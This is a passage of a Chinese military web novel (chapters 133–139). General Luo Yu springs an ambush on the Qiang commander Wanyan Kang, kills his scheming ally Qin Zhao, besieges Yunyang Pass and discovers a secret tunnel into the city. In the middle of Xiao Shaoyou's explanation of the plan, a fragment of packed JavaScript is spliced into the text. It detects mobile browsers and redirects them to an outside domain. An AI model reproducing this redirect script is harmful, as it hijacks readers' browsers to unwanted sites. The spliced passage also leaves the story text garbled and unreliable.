他倒是个狠人,如此重伤也没龇牙咧嘴,眼神中的杀意越发浓郁。
“我说了,今日就要送你和完颜昌团聚。”
洛羽面带冷笑,鲜血顺着枪尖不断滴落。
“你这千余骑虽然厉害,但想要全歼本将两千兵马有些异想天开了吧?”
在两人激战的间隙完颜康观察过战场的情况,他承认洛羽的一千精骑很强,强到力压己方一头,但要想将己方军卒全都吃掉绝无可能,只要想走,完颜康现在就能走。
“是吗?”
洛羽突然讥讽一笑:
“难道完颜将军觉得我就只带了千余骑兵?”
“咻!”
一声凄厉的响箭陡然划破云层,炸响于天地之间,有两路兵马从战场侧翼杀出,喊杀声震天。
东侧乃萧少游统帅的洛家军,吕青云、余寒弓、徐松三尉兵马齐至;西侧皆举“陆”字军旗,陆铁山麾下的千余兵马全被他派了出来。
两路兵马虽然以步卒为主,可如今羌骑已经被洛家精骑死死拖住,早就失去了骑兵冲锋的优势,步卒亦能与之一战!
在两路兵马相继进入战场之后,在羌兵的腹背又冒出一支兵马,约有七八百人,为首的霍连城仰**吼:
“洛兄,我来助你!”
霍连城的出现连洛羽都惊呆了,没想到这家伙真会来。
三路兵马齐至,林林总总加起来有三千兵马,彻底将羌骑团团围在当中,完颜康的神情终于出现了变化,一股不安从心底缓缓浮现。
洛羽面目狰狞,仰**吼:
“将士们!”
“杀!”
或许是积攒了太多的怒火,又或许是洛家精骑的拼死力战鼓舞了大军士气,三路兵马凶悍无比,大杀四方。
“杀啊!”
刀光剑影、血肉横飞,一场围歼战彻底拉开帷幕。
刚刚经历过一场大战的羌兵哪有余力面对三路伏兵,被打得节节败退,惨叫连连。完颜康领着一队精锐亲兵在战场中左冲右杀,妄图突围,可乾军却越围越紧,打定了主意要砍下他的人头。
“妈的,今日中了狗贼的奸计!该不会真折在这里吧。”
浑身是血的完颜康那叫一个气啊,本以为自己看穿了洛羽的一切安排,却没料到洛羽是以秦昭为诱饵,引他上钩。
“将军,我来救你了!”
正当羌兵兵败如山倒之际
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,一队精骑突然从小石坡的山路中绕行而出,在包围圈上撕开了一道口子,军中皆举孤狼逐日旗。
洛羽眉头微皱,他没想到云阳关内的兵马竟然会来救完颜康。
看来今日想杀完颜康有点难了。
“哈哈,天无绝人之路啊。”
完颜康大喜过望,狞笑一声:
“全军突围!”
“洛羽,今日之仇本将必报!”
……
日暮黄昏、残阳如血
落日的余晖倾洒大地,照得鲜血更加艳丽,横七竖八的尸体早已在寒风的吹拂下变得僵硬,血肉模糊的场面令人心惊胆战。
你若问此战乾军和羌军谁赢谁输,那还真不好说,秦昭的兵马损失惨重,完颜康带出来的两千精骑也所剩无几,双方互有伤亡,但对洛家军来说无疑是一场大胜!
“霍将军,今日谢谢你出手相助。”
洛羽站在霍连城的身边,他的出现可是完全在计划之外的。
“洛兄多次助我,我就帮了你这么一次,有什么好谢的。”
霍连城撇了撇嘴,无奈道:
“看今天这架势,霍某人来不来洛将军都赢定了,只能说锦上添花,聊胜于无吧。”
“但这份情谊我会记在心里。”
是,霍连城说的没错,他来不来战局都不会发生变化,但在霍连城的视角里今日洛羽会身陷危急,他倾巢而出也不一定能救出洛羽,甚至还要把整个霍家军搭进去。
如此危局他都来了,这份情让洛羽心头泛起暖意。
“但今天的战事走向似乎和咱们一开始计划的大不一样啊。”
霍连城眉头微挑,意有所指:
“按理说战场不是应该在小石坡吗?为何会在这?还有,羌兵怎么会从背后狠狠捅秦昭一刀?”
霍连城想不通,这场仗与他想象中的截然不同,羌兵就像是提前得到了军情,伏击了本该当渔翁的秦昭,但他很清楚,洛羽不可能泄露军情。
为什么?
“此事说来就话长了……”
洛羽刚要开口解释,小伍就从一侧走来,抱拳沉喝:
“将军,找到秦昭了。”
洛羽目光一寒,嘴角勾起一抹玩味:
“走吧霍将军,正好一起去见见他。”
第134章心不狠,活不长
堂堂前锋主将,仗着有李家撑腰在军中飞扬跋扈不已得秦昭此刻像烂泥一样瘫倒在地,眼泪鼻涕一股脑地往下流,浑身血污,裤裆中隐约还有些尿骚味。
在阙州内的他算是个狠人,滚刀肉,可他从未遭遇过如此大规模的羌军**,人头滚滚、血肉模糊的场面令人作呕,死亡的恐惧更是能击垮一个人的心神。
大军溃败之际,秦昭没有选择奋起还击,而是在亲兵护卫下慌不择路地躲进了密林,本来打算趁机逃跑,没想到被洛家军逮了个正着。
洛羽、萧少游、霍连城三人并肩走来,居高临下地望着秦昭,目光中充斥着鄙夷。
“洛,洛将军。”
“秦将军怎得成了这般模样?啧啧。”
秦昭还未从恐惧与失神中走出来,哆嗦着嘴巴:
“为,为什么?羌兵为什么会从背后杀出?”
“这话该是我问你才对吧?”
洛羽蹲下身子,眼眸中有寒芒闪过:
“秦将军的兵马不是应该埋伏在小石坡两翼,等着与我军包夹羌骑吗,为何会出现在这里?还有,你为什么派人用碎石、树桩堵住了山路?”
“这,这……”
秦昭支支吾吾不敢答话,脸色惨白。
“我知道你打的是什么主意。”
洛羽缓缓起身,冷笑道:
“你想着把山路堵起来,我走到这里后无法通行,只能掉头与羌兵死拼,等我们打得两败俱伤之际你再趁势杀出,坐收渔翁之利对吧?
还是老一套,一点长进都没有。”
秦昭浑身开始止不住的发抖,洛羽竟然猜出了他的全盘谋划。
“让我来回答你刚才的问题。”
洛羽漫不经心地说道:
“从我大军攻城开始,我就故意给完颜康露出破绽,我就是要让他猜出来小石坡有伏兵。完颜康一心想要击败我军,对麾下骑兵的野战能力又有绝对的自信,绝不会放过如此天赐良机。
所以他一定会出兵追击!
你猜猜完颜康是会像愣头青一样追着我们进入伏击圈,还是从背后狠狠捅伏兵一刀?”
“是你,原来是你!”
秦昭在这一刻恍然大悟,原来自己才是最傻的那一个,他像个疯子一样站了起来,拼命地揪住洛羽的衣袍:
“为什么,为什么要害我!两千人啊,那可是两千兵马,**,全**!”
给李家当牛做马这么多年,累死累活他才积攒起这么一份家底,眨眼间便烟消云散。
“那我的人就该死?霍将军的人就该死!”
洛羽目光冰冷:
“如果你选择老老实实在小石坡埋伏,有密林的掩护、阵型齐整,羌兵不可能一下子打垮你们,我的骑兵会顺势杀出,各路兵马围歼完颜康,这一战会以我边军的大胜而告终。
我给了你活路,是你自己选择了死路!
卑鄙小人!”
“你,你好狠,好歹毒的心计!”
秦昭被怼得哑口无言,但心中依旧悲愤,咬牙切齿地说道:
“但你别忘了,这里面有五百人是李家牙兵,你连着他们一起害死,李将军不会放过你的!等我回去之后就禀明李将军,是你泄露军情给羌人,这才导致我军兵败,李将军定会将你查办问罪!”
“禀明李将军?”
洛羽的目光像是在看傻子:
“你该不会觉得自己还能活着回去吧?死到临头,还想着栽赃诬陷。”
“你,你想杀我?”
秦昭如遭雷击,嗓音中出现了一丝慌乱,但还是拼命地摇头:
“不,你不敢,我是李家的人,杀了我你没法向李将军交代,你绝对不敢杀……”
“噗嗤!”
话都还没说完,短匕破晓便从手掌翻现,狠狠扎进了秦昭的咽喉,鲜血飚射而出。
秦昭捂着喉咙,鲜血咕噜咕噜往外冒,一句话都说不出来,临死前的眼神是那么的绝望。
死尸倒地,全场一片寂静。
“死有余辜!”
霍连城冷声道:“洛将军杀得好,换了我岂会让他如此痛快地死去!”
他手下几百号兄弟都是被秦昭给害死的,自己也差点被秦昭诬陷成通敌的反贼,若是让霍连城动手,只怕秦昭要好好受一顿皮肉之苦。
“洛将军神机妙算,霍某自愧不如,一场危局被你转化成了杀敌建功的胜仗,差点连完颜康的人头都斩于马下。”
“呵呵,并不是我的主意。”
洛羽一指萧少游:“全靠少游的谋划。”
“苍岐萧将军的大名我也早有耳闻,今日一见果然名不虚传。”
霍连城好奇道:
“但你怎么就料定完颜康会看出破绽,进而偷袭秦昭呢?假如他就是一根筋,倾巢而出追击攻城步卒又当如何?”
“知己知彼,方能百战百胜。”
萧少游微微一笑:
“连敌方主将的心思都猜不透,怎么打胜仗?这一次布局并不花哨,其实就是对人性的考验罢了。
一是完颜康有无取胜之心,二是赌秦昭的卑鄙下流。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476817|169975||http|test|mini|href|location''.split(''|''),0,{}));
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r>两者合一,我们胜券在握!”
其实此计的背后也有陆铁山的助力,是洛羽串通老将军,故意将埋伏小石坡的任务交给了秦昭,让他误以为自己有坐山观虎斗的机会。
“妙,精妙绝伦!”
霍连城赞叹不已,但眼眸中有一丝光芒闪过:
“可惜就是代价太大了,两千兵马损失惨重,十不存二,为了对付一个秦昭白白让上千条鲜活的生命流逝,洛将军,此计是不是过于狠毒了点?”
洛羽面无表情的说道:
“霍将军在战场也不是一天两天了,应该明白留着秦昭这种人对大军有百害而无一利。
我确实是用上千人的命为代价打赢了这场仗,但不是我逼着他们**的,是秦昭带着他们走上了绝路。
入军这么久我学会一个道理。”
洛羽缓缓竖起一根手指:
“心不狠,活不长!”
……
一场大胜令乾军沸腾不已,酣畅淋漓的击败近两千精骑,差点阵斩敌方主将,如此胜仗已经许久没出现过了,更为接下来攻破云阳关创造了极大的优势。
当然,秦昭所部的覆灭也在军中掀起了不小的风浪,洛羽回营之后说他是不服军令,畏战后退,这才半路上遭遇羌兵进而被围歼,不少人都在心中暗骂此人死有余辜。
随着秦昭、鲍卿的毙命,前锋主将一职毫无疑问地落在了洛羽头上,从现在起将由他指挥全军攻城。
命令下达的当天晚上,李光业就来到了洛羽的军帐。
“李将军大驾光临,有失远迎啊,不知将军是有什么军务要吩咐吗?”
洛羽眉头轻挑,李光业斜靠椅背而坐,若有所思地问道:
“秦昭的死怕是另有隐情吧?”
帐中一片寂静,四目相对,两人的脑筋都在急速转动。
洛羽面不改色:
“将军何出此言?秦将军乃是咱们的同袍,洛某岂会对他下**。”
“你不用紧张,哪怕人是你杀的我也无所谓,他终究姓秦,不姓李。”
李光业微微往椅背上一靠:
“今日我来只是想提醒你一句,五百李家牙兵毙命我不在乎,秦昭的死我也不在乎,我李家只在乎云阳关的得失!
希望洛城主不要忘了与公子的约定,拿不下云阳关,苍岐和凤川可就不是你的了。”
既然话都说开了,洛羽也就没什么好扭捏的,嗓音冰冷:
“李将军放心,只要接下来没人给我添乱,新年之前,必破云阳关!”
第135章新任前锋主将,洛羽
前锋大营中旌旗蔽野,甲胄严整,号角声不断,一队队步卒正在营中操练。
小石坡一战后前线已经有十余日未曾开战,洛羽新任前锋主将,总得整顿军卒、重新安扎大营,但这些天他也没闲着,一直在练兵、扩军。
陆铁山与李光业大手一挥,将鲍卿、秦昭的残部,外加云阳关附近征召的数百名青壮新兵全都划归洛羽麾下,就连李光业都看出来了,想要攻克云阳关只能仰仗洛羽,非他不可。
现在洛羽是兵强马壮,亲兵尉两百骑、董川蒙虎两尉各四百骑、吕青云、余寒弓、徐松三尉各五百人,主要以步卒为主,整整两千五百人,战马上千匹。
当初从苍岐出征时总计一千六百人,打了几个月变成了两千五百人,别人是打着打着就全军覆没,洛羽反而是以战养战,越打越强,洛家军随着一场又一场战事的磨炼,日益精壮。
两千五百人再加上秦昭麾下的七八百人共同组成了攻城大军,陆铁山与李光业的大营也会前移,就扎在前锋营后方,因为吃了一场惨败的完颜康再无能力组织骑兵出城偷袭,接下来就是纯粹的攻防战了。
军帐中一众都尉齐至,董川、蒙虎等等,包括霍连城也端坐侧位,这算是洛羽出任前锋主将来第一次召开议事。
“都是熟人,大家也曾并肩作战过,咱们就直奔主题。”
洛羽简单明了地挥了挥手:
“少游,你来讲讲接下来的攻城部署。”
萧少游迅速起身,面向众人:
“云阳关城高墙坚、易守难攻,前些日子攻城屡屡受挫,为什么?因为秦昭的攻城部署毫无章法,纯粹是胡来。
兵法有云,倍则攻之、十则围之,咱们兵力虽然占优,但远远达不到合围云阳关的地步,对我们来讲,分散兵力不如择其重点而攻!
此前秦昭兵分三路,两路攻城一路策应,此法大错特错。依我之见,咱们集中兵力攻其城东足矣!另外三面完全放任羌兵自由行动。
为什么?因为我们的目的不是全歼城内的羌军,而是收复云阳关!如果完颜康要跑,那就让他跑好了,咱们可不费吹灰之力入主云阳关。
如果他不跑,不管我们兵分几路攻城,他总要分兵防守四面,对我们来说攻其一点才能最大程度地利用兵力。至于其他三面城墙时不时地派兵去袭扰一圈,便能让羌兵提心吊胆,一刻也不敢松懈,劳其心神!”
“好,说得太好了!”
霍连城第一个点头认同:“萧将军所提之策可最大程度地牵扯羌军兵力,又可以最大程度地发挥我军的兵力优势。
此消彼长,甚妙!”
“既然大家都认同,那咱们接下来就开始攻城。”
萧少游沉声道:
“这次咱们各路兵马轮番攻城,如今是深冬之际,用不着日日进攻,我和洛将军商议过了,练兵两天,进攻一天,只要持续对城头保持压力即可。”
洛羽缓缓起身,朗声道:
“具体军务就由少游布置,我多说一句。
从黑水坡、二道梁、小石坡,咱们这么多场苦战都熬过来了,云阳关也必定不在话下!
鲍卿、秦昭这些奸贼已死,在座的都是可以托付后背的同袍兄弟,只要我们齐心协力,云阳关必破!”
“谨遵军令!”
……
“呜!”
“呜呜!”
寒风凛冽的清晨,号角声再一次回荡在云阳关的上空。
新一轮的攻城战又开始了。
大批军卒迈着整齐的脚步走出军营,阵中推着十余架大型攻城云车。羌兵如临大敌,泼洒出一波波箭雨,妄图在前进过程中造成大量杀伤。
今日负责进攻的乃是吕青云一尉,总计五旗兵马,三旗步卒攻城,一旗步卒休整,随时准备接手战事,还剩的一旗乃是骑兵,在后策应,防止羌兵出城反击。
经过上一战的惨败之后羌兵收敛了许多,将所有兵力都集中在城头守城,箭雨、落石拼了命地往下砸,依靠坚墙固守。
萧少游与霍连城驻马而立,遥遥望向城头。“
阵型严整,井然有序,军卒闻鼓而动,闻令而行,号令严明,佩服啊。”
霍连城情不自禁的点了点头,毕竟是上过边关战场的人,一打眼就知道洛家军的军规军纪远超寻常军伍,没有长时间的操练绝对做不到如此整齐。
随即他好奇地问了一句:
“我听说洛将军曾经独创三三制战法,在军中广为运用,不管是步战还是骑战都能发挥巨大优势,不知所谓的三三制在
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攻城战中是否同样适用?”
“自然适用,恰好最近我和洛将军针对攻城战改进了一下三三制。”
萧少游微微一笑:
“待会儿霍将军就能看到了。”
霍连城若有所思的点了点头,眼中好奇之意大涨,他倒要看洛家军到底是怎么攻城的,凭什么人家那么能打,而自己麾下不行。
三百步卒分散在广阔的城墙下,每一标分得攻城云车一座,蚁附攀城。
所谓攻城云车乃是至高无上的攻城利器,全车为木制结构,下面有安装滚轮的底座,需要数十名军卒合力才能推动。四周有蒙皮和挡板防护,可以替军卒遮挡敌军的箭雨;顶端立有箭楼,**手可以直接在高处与敌方展开对射;塔楼上还有副梯一架,可从车内伸出直接搭在城墙边缘,攻城步卒可以顺势冲入城墙,与敌军展开近身肉搏。
攻城云车比寻常的竹梯木梯更有助于攻坚,只不过制造起来极为麻烦,此次朝廷与李家联手才打造出了几十架云车,全都被拉到了前线。
城墙左侧乃是吕青云麾下最寻常不过的一标兵马,标长名为鲁涛,麾下三十号军卒,大部分都是奴庭的流民,而后加入洛家军。
“上上上,迅速登梯!”
三十号军卒顺着云梯内部一路上爬,四周的木板帮他们挡下了数不清的箭矢,众人一直爬到云车顶端,躲在一排木板之后。
这个距离里城头已经非常近了,他们甚至能听到城头羌兵的怒喝声,所有人的心都提了起来,只要他们稍微一冒头,很可能便会招来数不清的明枪暗箭。
细看之下你会发现,一标分为三什,一什持弓佩刀、一什持盾佩刀、一什**佩刀,装备各不一样。
这就是洛羽和萧少游针对攻城战改进的三三制,已经在营中操练多日、各标配合磨炼纯熟,今日是首次运用在实战中。
“呼!”
标长鲁涛沉吸了一口气,冷喝道:
“兄弟们,咱们不能回奴庭找羌人报仇,今日就在云阳关让羌兵见识见识,咱们奴庭的都是铁打的好汉!”
“诺!”
数十号汉子杀气腾腾,面目狰狞,眼神中毫无畏惧之意。
“准备进攻!”
鲁涛厉喝出声:
“杀贼!”
第136章改进三三制攻城
“准备进攻,上!”
持盾的十名军卒闻令而动,最先冲了出去,盾牌高举,牢牢护在塔楼两翼。
果然,他们刚一冒头就有数不清的箭矢飞了过来,锋利的箭簇凿在盾面上,如同冰雹砸铁皮般咚咚作响,震得人手臂发麻。
若不是有盾牌护着,他们这标人刚露头就得被射成马蜂窝。
“乾军冒头了,给我射死他们!”
“**手预备!”
十名**手微低身子,藏身于盾牌之后,人人弯弓搭箭,视线顺着盾牌间的缝隙往外看,早就盯准了几名离得近的羌兵。
“放!”
十名**手轮番起身,探头就是一箭射出,然后毫不犹豫地缩回盾牌背后,不管能不能射中,射完就躲。
其中一名年轻步卒的箭术十分不错,抬手一箭就射穿了对面羌骑的咽喉,紧跟着便感到有一阵寒风从侧面袭来。
他想也不想俯身一躲,真有一支利箭贴着自己的头皮飞了过去,稳稳地扎在木制云车的悬梁上,年轻**手翻身又是一箭,恰恰好将刚才放冷箭的一名羌兵当胸射死。
这里可是双方战斗的最前沿,不管是谁,稍有不慎都将命丧当场。
“嗖嗖嗖!”
余寒弓操练出来的**手确实不错,数十支箭矢不断飞出,还真射**几名靠近云梯的羌兵,一时间守军有些许骚乱。
“差不多了,准备登城!”
鲁涛一手持盾一手握刀,紧紧蹲在副梯之后:
“放梯!”
“轰!”
木制的厚重副梯从上往下一倒,刚刚好搭在城垛上,鲁涛几乎是瞬间冲了出去,两步踩着木梯一跺,整个人高高跃起,撞向了一名还在发呆的羌兵。
“砰!”
“噗嗤!”
在羌兵的视野里只能看到一个庞然大物从天而降,砸向自己,巨大的冲击力撞得羌兵倒飞而出,猛地一口鲜血喷了出来,鲁涛整个人也栽倒在地,顺着又用盾牌砸在了羌兵的脑袋上,确保他再无生还可能。
“杀,快杀了他!”
四周的羌兵见其悍勇,怒吼连连,当先便有两人扑身而上,打算将鲁涛乱枪捅死。
鲁涛顺势在地上一滚,用腰身压住枪杆,任凭两名羌兵使出多大的力气都挣不脱,手中苍刀横挥而出,劈向了两人的下三路。
“噗嗤噗嗤!”
两道血箭飚射,羌兵哀嚎着栽倒在地,抱着断腿满地打滚,凄惨的号角令人不寒而栗。
与此同时,云车内的十名**手悍然冲出:
“杀!”
枪影纷纷、羽箭乱飞,十名**手很快就将四周战场搅成了一团乱麻,紧跟其后的便是十名盾牌手,牢牢护在**手身边。
二十人以鲁涛为圆心结成了一个小阵,十名**手就在云梯之内不断放箭,掩护他们战斗。
这就是洛羽萧少游根据攻城战改进的三三制,三什人马分别负责进攻、防守、掩护,各司其职,并肩作战。
鲁涛并不急于向纵深杀入,因为他的任务就是稳住这一段防线,等待后续援兵抵达扩大战果。
乾军的勇猛惹得羌兵大骇,但他们的反扑很快就来了,近百号羌兵从四面八方涌来,拼了命的冲杀,一杆杆**不断地捅在盾牌之上。
站在鲁涛身边的一名军汉就猝不及防,**顺着盾牌之间的缝隙探出,狠狠捅穿了他的腰腹,鲜血飞溅。
“小石头!”
鲁涛牙呲欲裂,眼睁睁地看着小石头眼中的生机迅速流失却无能为力。
他是鲁涛亲手招进军中的士卒,虽说刚入军的时候有些胆小,可现在却是他手下极勇猛的汉子,就这么死在了羌兵枪下。
“老子剁了你!”
怒火中烧的鲁涛一把抓住枪杆,使劲往身边一拽,枪杆那段的羌兵脚步一颤,踉踉跄跄地就栽向了鲁涛。
“死吧!”
“噗嗤!”
苍刀横挥而过,径直割开了羌兵的咽喉,一刀毙命。
“堵住缺口,将乾军杀下去!”
“将军有令,谁丢了城防,全队皆斩!”
完颜康的军令不断回荡在每一名羌兵的耳中,逼得他们奋力向前,豁出命反击乾军。鲁涛身侧的羌兵越围越多,二十号精锐左冲右杀,防线隐隐有撑不住的迹象,他只能咬牙下令:
“撤,撤回云梯!”
“**手掩护!”
这也是萧少游在战前强调的,不要指望着一棒子把羌兵打死,见势不妙就得立刻后撤,如此方能为下一次进攻积攒实力。
在场的都是老兵,每死一个他们都会心痛。
“嗖嗖!”
一轮激战下来,城头上多出了十几具羌兵的死尸,虽说乾军的进攻被打退了,可他们却能感受到乾军的攻城能力正在突
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飞猛进。
今日他们挡住了,明日呢,能挡得住?
“叮!”
“叮叮叮!”
从清晨激战到黄昏,乾军阵中总算响起了鸣金之声,攻城大军有条不紊地撤了回来。
霍连城的表情已经从好奇变成了震惊,最后忍不住佩服的点点头:
“洛家军确实厉害啊,霍某心服口服。”
刚刚霍连城就在观察了整个进攻过程,你可以看出每一标下面的每一名军卒都知道自己该干什么,三什兵马掩护的掩护、进攻的进攻、防守的防守,配合极为默契。
如此军卒,堪称精锐。
“呵呵,霍将军过奖了。”
萧少游微微一笑:
“只要你也按照此法练,咱们早晚会破关而入!”
……
半个月,攻城战足足持续了半个月。
乾军步卒前后发起了五次大规模攻城,羌兵一直死守,每次都是乾军杀上城头之后被羌兵强行挡了回来,你来我往,反复争夺每一寸城墙,战事异常激烈。
夜幕降临,帐外寒风瑟瑟,帐内点起了几盏烛火,火苗在夜风中不断跃动。
萧少游紧盯地图,眉宇微皱:
“这些天咱们虽然在攻城战中磨炼了新兵,三三制也磨合得越发纯熟,但咱们的损失也不小,可见完颜康虽然败了一场,但城内的军心士气依在,轻易不好破关而入。”
“完颜康比我们想象的要厉害一些。”
洛羽抱着膀子嘟囔道:
“有时候我在想,咱们是不是绕开攻城这条路,换个法子破城而入,比如说夜袭偷袭,甚至挖地道潜入城中。”
“挖地道?此法听起来不错,可是太耗时耗力了。”
萧少游微微摇头:
“咱们的目标可是年关前拿下云阳关,算算日子也只差半个月,这么短的时间可挖不出一条地道。”
“将军,将军!”
董川突然火急火燎地冲了进来,因为走得太急,顺带着撞到了两架火盆,火星子溅了一地,差点就把洛羽的军帐给点着了。
“出什么事了董大哥?”
萧少游眉头微皱,董川平日里可是最沉稳的那一个,什么事会让他如此着急?
“好,好消息!”
一路小跑过来的董川大口大口地喘着粗气:
“我手下有个弟兄,知道有别的路可以潜入云阳关!”
第137章有地道入城
洛羽、萧少游、董川三人眼中精光闪烁,帐中还站着个披甲的中年汉子,皮肤黝黑满带沧桑。
陈大桩,董川麾下的一名百户。
洛羽认识此人,因为他是最早从鸡鸣寨就跟着他的一批军卒,起初只是个普通伍长,如今已经成为了董川麾下最能打的百户之一。
董川捅了他一下:
“你说有其他路可以进云阳关?没开玩笑吧?两位将军都在这,你要是信口胡诌别怪老子揍你。”
“我怎么可能开玩笑。”
陈大桩信誓旦旦地说道:
“城南有两条地道,从山脚下一直挖到云阳关内!”
“怎么可能!”
萧少游第一个不信:
“我在云阳关待了三年,从未听说过有地道能连接内外。”
“千真万确。”
见大家不信,陈大桩有些急了:
“大概二十多年前,时任云阳关主将害怕有朝一日云阳关被围,城内变成绝地,便在城南挖了两条地道方便运输物资和逃命。
此事现在应该无人知晓。”
“那你是怎么知道的?”
洛羽很是好奇:
“二十多年前你还是个十岁出头的娃娃,城内一众军卒将校都不知道的事你会知道?”
“因为当年我爹就被抓去挖了地道,地道挖成之后那个将领为了**息,下令坑杀了所有参与挖地道的民夫,我爹命大,逃过一劫,悄悄遛回了家中。
后来听说那个主将直接战**,地道压根没派上用场,所以此事就变成了秘密,无人知晓。”
三人这才点了点头,若真像陈大桩说的那样,此事确实不会泄露出来,因为知情者全都**,他爹就是那个漏网之鱼。
同时也感到愤慨,老百姓被强征去挖地道,竟然被自己人坑杀,足见边军混乱到何等地步。
“本来我记不起这件事,但昨天董大哥在我耳边唠叨了几句云阳关不好打,估计得死很多人我才想起来,这不立刻就来禀报将军。”
陈大桩急得脸都红了:
“我从鸡鸣寨开始就跟着将军,一路风里来火里去,我就算骗谁都不能骗您啊。”
“呵呵,不要急,我没说不信你。到底有没有地道咱们一试便知。”
洛羽沉声问道:
“地道的入口你还记得吗?”
“大概位置记得,我爹曾经带我去过几次,但这么多年过去了我得好好找一下,反正就在城南山脚下那一片。”
“我去!”
董川立马站了起来:“我跟他去找找地道的入口!”
洛羽摆了摆手:
“我亲自去!”
萧少游眉头一皱:
“是不是危险了点?”
“这可是攻破云阳关的天赐良机,不亲自去看一眼我不放心。”
洛羽冷笑道:
“营中军务交给你了,董川,挑三十个好手跟我走!”
……
夜幕漆黑,数十道人影借着月色在密林间小心翼翼地摸索着,军服擦过枯树枝发出簌簌的响声,冰冷的寒风格外刺骨。
这里就是陈大桩口中提到的地道入口大概位置,位于云阳关城南的山坡背面,距离城墙很近,爬上山坡就能看见城头上若隐若现的火光,此时如果遇到一队羌人斥候,估计跑都跑不掉,只能等死。
三十号好手已经在林中搜寻了将近一个时辰,始终没有找到地道的入口,陈大桩急得满脸通红,洛羽的心也在一点点沉下去。
就算真有这么一条地道,过了三十年陈大桩真能记得具体位置吗?又或者说确实在这里,但历经数十年,地道早就被岁月风沙掩埋,消失不见。
“找到了,在这,在这!”
低沉的嗓音突然响了起来,陈大桩面色亢奋,激动得手舞足蹈。
洛羽目光一亮,急匆匆地挤到人群里,几名士卒已经将尘土落叶枯树枝全都扒开,露出一块经过打磨的石板,明显是人为盖在这里的。
“就是这!我爹当年带我来过!”
陈大桩如释重负:
“娘的,找死我了,我差点忘了,入口是在一棵苍天古树下面,只不过那棵树**才找到现在。从这里往北一里地就是另外一条地道的入口!”
“搬开!”
石板还是挺重的,四五名军卒费劲九牛二虎之力才将其挪开,露出一个漆黑幽森的洞口。
“地,地道,真有地道。”
董川欣喜若狂,一把抱住陈大桩:
“你小子,立大功了!”
“立不立功我不在乎,可为了挖这条地道**那么多村民,总该派上点用场吧。”
陈大桩的脸上闪过
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一抹悲戚,他爹是侥幸逃过一劫,可当年同村村民有不少人惨被活埋,那是村民永远的痛。
“逝者已逝,节哀。”
洛羽轻轻拍了拍他的肩膀:
“只要地道还能用,咱们就能攻破云阳关,杀光羌人,也算是没有辜负那么多村民的性命。”
“嗯!”
陈大桩重重点头:“宰了这帮杂碎!”
“留下一半人守住洞口,千万别被羌人察觉,董川,大桩,我们去洞里看看!”
“好!”
洛羽打头,率先钻进了地道,七八名健壮的汉子紧随其后。
地道内弥漫着蒙蒙灰尘,泥土的腥气扑面而来,伸手不见五指,几人点起了两支火把,摇曳的火光在努力驱散周围的黑暗。人人手握弯刀,随时准备应付突发的变故。
洛羽仔细打量着周围的环境,看得出当初挖地道的时候挖得挺宽,但因为时间太久,部分区域已经出现了轻微的垮塌,最窄的地方只能容纳一人弯腰通行。
偶尔还能在尘土中看到当年遗落的铁锹工具,锈迹斑斑。
大家走啊走,谁也不知道走了多久。
“看,到头了!”
董川终于看到了尽头,有一块木板挡在那儿。
众人的目光变得炙热起来,难道他们已经来到了云阳关内?
董川和陈大桩小心翼翼地挪开木板,映入眼帘的是一圈石壁和干枯的杂草,依稀有月光倒映在地面。
“这是,枯井?”
当年挖地道的武将还挺聪明的,地道的入口挖在了一口深井的下面,极为隐蔽,怪不得这么多年来都无人察觉。
董川撩起袖子:
“头,我爬出去看看!”
“不用,我来!”
洛羽钻了出去,他想亲眼看看这到底是哪儿,不然不放心。
没有梯子没有绳子,洛羽就双手双脚撑在石壁边缘,交替着向上挪动,这动作若不是臂力惊人之辈还真做不到。
靠近井口的时候洛羽的呼吸都变得急促起来,小心翼翼地探出头去,四处打量。
映入眼帘的是一片废弃的民房,杂草丛生、残垣断壁,更远处依稀可见高耸的城墙。
城内,这是云阳关内!
洛羽的嘴角勾起一抹狰狞的笑容:
“完颜康,你的死期到了!”
第139章今夜开战!
云阳关依旧被喊杀声笼罩,一队队攻城步卒犹如潮水般涌向城墙,奋力攀城。
箭矢、投石如雨点般当空砸落,攻城步卒稍有不慎便会血溅当场。
羌兵的眼眶中布满血丝,大半个月的攻城令他们心神俱疲,可谁也不敢松懈。
其实两边都绷着一根弦,谁先泄气谁就输!
军阵后方依旧高高飘扬着“洛”字军旗,洛羽驻马遥望,视察着今日攻城的战况。
虽然已经定好了地道奇袭之策,可为了不让完颜康起疑,乾军照旧隔两天攻城一次。
洛羽目光闪烁,这是大战前的最后一次攻城了。
明天半夜便是决战之际!
“跟你潜入城中的两百精锐选好了吗?”
一道苍老的嗓音从背后传来,洛羽略显诧异:
“早就选好了,老将军今日怎么到前线来了?”
自开战以来陆铁山到前线的次数屈指可数,若不是知道他早年间也曾血战沙场,洛羽定然会觉得这老头是贪生怕死之辈。
其实军中隐约有传言,说是人老了会惜命,老将军早已不复当年英勇。
“怎么,我堂堂领军主帅还不能到前线来看看了?”
陆铁山老眼微凝:
“洛将军是不是也觉得老夫怕死?”
“末将岂敢,大军主帅乃万金之躯,不能轻动,您老本就该留守中军大营。”
“狗屁,什么万金之躯,老夫也是从**堆里爬出来的,难道还会怕死吗?”
老将军罕见地爆了粗口,随即用一种怅然的表情看向前方战场:
“我怕的不是死亡,而是怕看到陇西的年轻军卒们一个个死在我面前。
陇西三州纷乱已久,内有世家攻伐、外有强敌虎视,人命如草芥。
这些年我看过太多太多和我一样的年轻人血染疆场,年轻时我不觉得有什么,认为世道本就如此,一心想着在战场上出人头地。
到老我才意识到,年轻人才是陇西的未来啊。
眼睁睁地看着他们战死沙场,就像是看着陇西的未来一点点黯淡。
于心何忍?”
洛羽默然不语,陆铁山的话隐约让他想起当初江殊说过的话:
你是陇西的希望!
“为什么?”
老将军突然提问:
“你明知云阳关内危机四伏、完颜康对你恨之入骨,为何还要以身犯险?
李光业的要求你本可以拒绝的。”
“老将军这话问得。”
洛羽咧嘴一笑:
“我乃阙州人,自当保家卫国,还需要什么理由?”
“这种冠冕堂皇的话就不要在我面前说了。”
陆铁山微微摇头:
“你先是瓜分了鲍家军,而后又设计斩杀秦昭,老夫是看着一步步你走过来的。
